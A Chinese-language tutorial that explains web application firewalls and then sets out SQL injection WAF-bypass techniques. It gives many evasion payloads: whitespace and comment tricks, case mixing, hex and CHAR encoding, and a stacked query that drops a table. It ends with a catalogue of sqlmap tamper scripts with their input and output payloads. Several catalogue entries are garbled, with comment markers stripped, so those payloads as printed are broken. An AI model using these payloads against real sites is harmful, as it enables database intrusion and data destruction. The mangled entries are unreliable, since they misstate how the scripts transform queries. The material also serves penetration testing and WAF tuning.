前言:
WAF(Web Application Firewall)即网络应用防火墙,是一种专门为了保护网络应用(如网站和web服务)而设计的防火墙。它的主要任务是过滤、监控和阻止恶意的网络流量和攻击尝试,从而保护web应用免受各种在线威胁,例如SQL注入、跨站脚本(XSS)攻击、文件包含攻击和其它形式的攻击。
WAF的工作原理:
流量监控与分析:WAF通过分析进出应用程序的HTTP流量来识别和阻止潜在的攻击。
规则集:WAF使用一组预定义的、可配置的规则来识别和阻止潜在的攻击。这些规则可以是基于模式匹配的规则,用于检测常见的攻击特征,如SQL注入的特定数据库函数或XSS攻击中的脚本标签。
黑名单与白名单:WAF可以设置黑名单来拒绝已知的攻击者或恶意IP地址,或者设置白名单来仅允许已知的安全流量。
行为分析:高级的WAF可能还包括对用户和应用程序行为的学习和分析,以更智能地识别异常行为,这有助于检测到以前未知的零日攻击。
WAF的部署方式:
网络基础设施中的硬件或虚拟设备:部署在数据中心,直接在网络层面上提供保护。
主机上的软件:直接在运行web应用的服务器上安装。
云服务:作为服务提供,由第三方维护,易于扩展,通常以订阅模式提供。
WAF是网络安全策略中的重要组成部分,帮助组织在日益增长的网络威胁环境中保护其资产。
绕过
基本编码绕过:
使用加号(+)替换空格尝试绕过基于空格的过滤规则。
SELECT+user+FROM mysql.user LIMIT 1;
SELECT+user FROM mysql.user LIMIT 1;
解释:
在MySQL中,+
号被识别为算术运算符,用于加法操作。它并不用作连接符或空格替代符,因此在SQL查询中使用+
号以期待它充当空格通常不是有效的做法。这也解释了为什么在某些情况下加号似乎被忽略,而在其他情况下则导致语法错误。
例如,当你尝试执行:
SELECT+user+FROM mysql.user LIMIT 1;
这里的SELECT+user
可能由于解析器的某些灵活处理而被正确理解(即解析为SELECT user
),尽管这并非标准SQL用法。然而,当+
号被放置在FROM
和其他部分之间时,它就显得格格不入,因为FROM
后面通常需要跟表名,这里的+
号打乱了这种结构,导致了解析失败。
标准的SQL语法不支持在关键字之间使用+
号作为空格的替代。这种使用方式在不同的数据库系统和不同的解析器实现中可能会有不同的行为,而MySQL明确将其作为算术运算符处理。
使用 - 符号:
SELECT-user FROM mysql.user LIMIT 1;
使用 @ 符号
SELECT@user FROM mysql.user LIMIT 1;
使用 ! 符号
SELECT!user FROM mysql.user LIMIT 1;
使用 ' 符号
SELECT'user'FROM mysql.user LIMIT 1;
使用 " 符号
SELECT"user"FROM mysql.user LIMIT 1;
使用 ~ 符号
SELECT~user FROM mysql.user LIMIT 1;
使用 { 符号
SELECT '{' as bracket, user, '}' as bracket FROM mysql.user LIMIT 1;
使用 -- 符号
SELECT user FROM mysql.user LIMIT 1 --;
SELECT user FROM -- 注释掉部分语句导致错误
mysql.user LIMIT 1;
使用 /* 符号
SELECT/**/user/**/FROM mysql.user LIMIT 1;
使用SQL函数和转换
SELECT ASCII(SUBSTRING(user, 1, 1)) FROM mysql.user LIMIT 1;
这个命令通过获取user
列的第一个字符的ASCII值,以不直接展示文本内容的形式返回数据。
大小写混合:
SeLeCt user fRoM mysql.user LiMiT 1;
改变SQL关键字的大小写,有些WAF可能只基于特定的大小写规则来检测。
使用二进制和十六进制表示:
SELECT user FROM mysql.user WHERE user = 0x61646D696E LIMIT 1;
这里0x61646D696E
是admin
的十六进制表示,可能绕过一些基于文本比对的WAF规则。
使用字符串拼接:
SELECT CONCAT('us','er') FROM mysql.user LIMIT 1;
使用CONCAT
函数拼接字符串,避开直接的关键字使用。
使用替代函数和命令:
SELECT CHAR(117,115,101,114) FROM mysql.user LIMIT 1;
使用CHAR
函数通过ASCII码来表示字符串,进一步尝试绕过基于文本匹配的规则。
利用数据库特有功能:
SELECT user FROM mysql.user WHERE user REGEXP '^z.*' LIMIT 1;
使用REGEXP
正则表达式匹配功能来进行复杂的模式匹配。
堆叠查询(如果支持):
SELECT user FROM mysql.user; DROP TABLE test_table;
这条命令尝试执行两个SQL语句,如果WAF没有正确配置,可能会执行第二个危险的命令。
使用CASE语句:
SELECT CASE WHEN (1=1) THEN user ELSE NULL END FROM mysql.user LIMIT 1;
通过CASE
语句来动态决定输出,增加查询的复杂性,试图绕过简单的过滤规则。
其他一些方法可以用于绕过Web应用防火墙(WAF),这些方法包括但不限于:
HTTP请求欺骗:
修改HTTP请求的头部,如
User-Agent
、Referer
,或使用不寻常的HTTP方法(如PUT
、DELETE
等)来尝试绕过对GET
和POST
的严格检查。
多字节字符编码:
利用WAF可能不正确处理字符编码的问题,使用多字节或双字节字符(如UTF-8)编码攻击向量,尤其是在WAF处理字符边界时可能出现的编码错误。
会话劫持:
利用会话劫持技术来绕过基于用户身份验证状态的安全检查。
内容类型混淆:
改变请求中的
Content-Type
头部信息,如将其从application/x-www-form-urlencoded
更改为multipart/form-data
或其他不常见类型,以尝试混淆WAF对请求体内容的解析。
路径遍历与文件包含:
通过修改文件路径来访问或执行服务器上未授权的文件,这些技术尝试利用WAF对路径解析和文件访问权限的处理不当。
逻辑漏洞利用:
利用应用本身的逻辑漏洞,这些漏洞可能不直接触发WAF的规则,例如通过特定的应用程序功能或API绕过安全检查。
加密和隧道技术:
使用SSL/TLS加密或其他隧道技术来隐藏恶意流量,尽管这需要在客户端和服务器之间有一定的协调。
尽管存在诸如参数污染、分段传输等多种技术可以尝试绕过Web应用防火墙(WAF),但在实际环境中,这些方法面对配置严密的WAF时往往难以奏效。这种情况突显了深入了解WAF的工作原理、不断更新攻击策略、以及定期进行渗透测试的重要性。在对抗高级WAF的过程中,寻找系统配置中的边缘情况或漏洞可能比直接尝试绕过WAF更为有效。此外,应认识到即便WAF是一个强大的防御工具,也不存在完全无懈可击的系统。通过细致分析和创新思维,我们能够更好地理解和评估潜在安全漏洞,从而确保系统的全面安全。这种方法不仅有助于强化现有安全措施,也为未来可能的安全挑战提供了准备。
道高一尺,魔高一丈
sqlmap绕过过滤的 tamper 脚本分类汇总
ALL:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
ALL | apostrophemask.py | 用utf8代替引号 | ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' |
ALL | base64encode.py | 用base64编码替换 | ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' |
ALL | multiplespaces.py | 围绕SQL关键字添加多个空格 | ('1 UNION SELECT foobar') '1 UNION SELECT foobar' |
ALL | space2plus.py | 用+替换空格 | ('SELECT id FROM users') 'SELECT+id+FROM+users' |
ALL | nonrecursivereplacement.py | 双重查询语句取代predefined SQL关键字 | ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' |
ALL | space2randomblank.py | 代替空格字符(“ ”)从一个随机的空白字符可选字符的有效集 | ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers' |
ALL | unionalltounion.py | 替换UNION ALL SELECT为UNION SELECT | ('-1 UNION ALL SELECT') '-1 UNION SELECT' |
ALL | securesphere.py | 追加特制的字符串 | ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" |
MSSQL:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
MSSQL | space2hash.py | 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) | '1 AND 9227=9227' '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' |
MSSQL | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1 |
MSSQL | space2mssqlblank.py | 空格替换为其它空符号 | Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers |
MSSQL | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
MSSQL | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
MSSQL | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
MSSQL | sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 | ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' |
MSSQL | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%E |
MySQL:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
MySQL | equaltolike.py | like 代替等号 | * Input: SELECT * FROM users WHERE id=1 * Output: SELECT * FROM users WHERE id LIKE 1 |
MySQL | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
MySQL | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
MySQL | ifnull2ifisnull.py | 绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | ('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' |
MySQL | space2mssqlhash.py | 替换空格 | ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' |
MySQL | modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 | ('1 AND 2>1--') '1 /!30874AND 2>1/--' |
MySQL | space2mysqlblank.py | 空格替换其它空白符号(mysql) | Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users |
MySQL | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
MySQL | modsecurityzeroversioned.py | 包含了完整的查询与零版本注释 | ('1 AND 2>1--') '1 /!00000AND 2>1/--' |
MySQL | space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) | ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' |
MySQL | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like | ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' |
MySQL | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
MySQL | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%E |
MySQL | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
MySQL | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS**!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))# |
MySQL | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
MySQL | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
MySQL | versionedmorekeywords.py | 注释绕过 | * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/!UNION!ALL!SELECT**!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS**!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))# |
MySQL | halfversionedmorekeywords.py | 关键字前加注释 | * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa * Output: value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’='QDWa |
MySQL | space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 | * Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 |
Oracle:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
Oracle | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
Oracle | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
Oracle | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
Oracle | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%E |
Oracle | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
Oracle | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
Oracle | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
PostgreSQL:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
PostgreSQL | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
PostgreSQL | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' |
PostgreSQL | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' |
PostgreSQL | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E |
PostgreSQL | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%E |
PostgreSQL | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt |
PostgreSQL | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ |
PostgreSQL | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users |
Microsoft Access:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
Microsoft Access | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' |
其他:
支持的数据库 | 脚本名称 | 作用 | 实现方式 |
---|---|---|---|
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 |
其他 | unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 |
其他 | randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
总结
在当今网络安全的复杂环境中,Web应用防火墙(WAF)作为防御工具,提供了重要的第一道防线,旨在抵御各种在线威胁,如SQL注入和跨站脚本攻击。然而,攻击者也不断发展出新的技术来绕过这些防护,包括参数污染、分段传输、编码混淆等高级方法。
通过深入探讨WAF的工作原理和多种绕过技术,这篇文章不仅提供了技术层面的详细分析,还突显了对抗WAF的复杂性和挑战性。正如文中所述,面对配置良好的WAF,攻击者需依赖细致的分析和创造性的思维来识别潜在的安全漏洞。无懈可击的系统并不存在,然而,通过持续更新安全策略和进行渗透测试,能够有效地提升系统的安全性。